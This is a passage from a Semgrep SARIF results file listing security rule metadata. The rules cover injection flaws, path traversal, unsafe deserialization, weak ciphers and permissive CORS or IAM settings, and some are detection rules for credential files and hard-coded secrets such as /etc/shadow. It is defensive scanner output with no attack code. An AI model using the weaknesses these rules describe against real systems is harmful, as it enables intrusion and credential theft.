`arn:aws:iam::<account_id>:root`."},"help":{"markdown":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.wildcard-assume-role.wildcard-assume-role)\n - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)\n","text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"helpUri":"https://semgrep.dev/r/json.aws.security.wildcard-assume-role.wildcard-assume-role","id":"json.aws.security.wildcard-assume-role.wildcard-assume-role","name":"json.aws.security.wildcard-assume-role.wildcard-assume-role","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.wildcard-assume-role.wildcard-assume-role"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.php-permissive-cors.php-permissive-cors)\n - [https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/php.lang.security.php-permissive-cors.php-permissive-cors","id":"php.lang.security.php-permissive-cors.php-permissive-cors","name":"php.lang.security.php-permissive-cors.php-permissive-cors","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.php-permissive-cors.php-permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `sandbox`."},"help":{"markdown":"Make sure that unverified user data can not reach `sandbox`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `sandbox`."},"helpUri":"https://semgrep.dev/r/javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","id":"javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","name":"javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations"},"help":{"markdown":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.missing-unlock-before-return.missing-unlock-before-return)\n - [https://pkg.go.dev/sync#Mutex](https://pkg.go.dev/sync#Mutex)\n - [https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/](https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/)\n","text":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations"},"helpUri":"https://semgrep.dev/r/trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","id":"trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","name":"trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.missing-unlock-before-return.missing-unlock-before-return"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlobject-flask.sqlobject-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlobject-flask.sqlobject-flask","id":"python.flask.db.sqlobject-flask.sqlobject-flask","name":"python.flask.db.sqlobject-flask.sqlobject-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlobject-flask.sqlobject-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Generic Secret detected"},"help":{"markdown":"Generic Secret detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-generic-secret.detected-generic-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Generic Secret detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-generic-secret.detected-generic-secret","id":"generic.secrets.security.detected-generic-secret.detected-generic-secret","name":"generic.secrets.security.detected-generic-secret.detected-generic-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-generic-secret.detected-generic-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability."},"help":{"markdown":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","id":"typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","name":"typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","id":"python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","name":"python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","id":"python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","name":"python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.phantom.security.audit.phantom-injection.phantom-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.phantom.security.audit.phantom-injection.phantom-injection","id":"javascript.phantom.security.audit.phantom-injection.phantom-injection","name":"javascript.phantom.security.audit.phantom-injection.phantom-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.phantom.security.audit.phantom-injection.phantom-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","id":"csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","name":"csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input."},"help":{"markdown":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","id":"cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","name":"cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","properties":{"precision":"very-high","tags":["CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal)\n - [https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values](https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead."},"helpUri":"https://semgrep.dev/r/scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","id":"scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","name":"scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"linux shadow file detected"},"help":{"markdown":"linux shadow file detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-etc-shadow.detected-etc-shadow)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"linux shadow file detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-etc-shadow.detected-etc-shadow","id":"generic.secrets.security.detected-etc-shadow.detected-etc-shadow","name":"generic.secrets.security.detected-etc-shadow.detected-etc-shadow","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-etc-shadow.detected-etc-shadow"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","id":"cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","name":"cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","id":"python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","name":"python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"CodeClimate detected"},"help":{"markdown":"CodeClimate detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-codeclimate.detected-codeclimate)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"CodeClimate detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-codeclimate.detected-codeclimate","id":"generic.secrets.security.detected-codeclimate.detected-codeclimate","name":"generic.secrets.security.detected-codeclimate.detected-codeclimate","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-codeclimate.detected-codeclimate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits."},"help":{"markdown":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits."},"helpUri":"https://semgrep.dev/r/typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","id":"typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","name":"typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"help":{"markdown":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n","text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context","id":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","name":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.weak-ssl-context.weak-ssl-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","id":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","name":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` 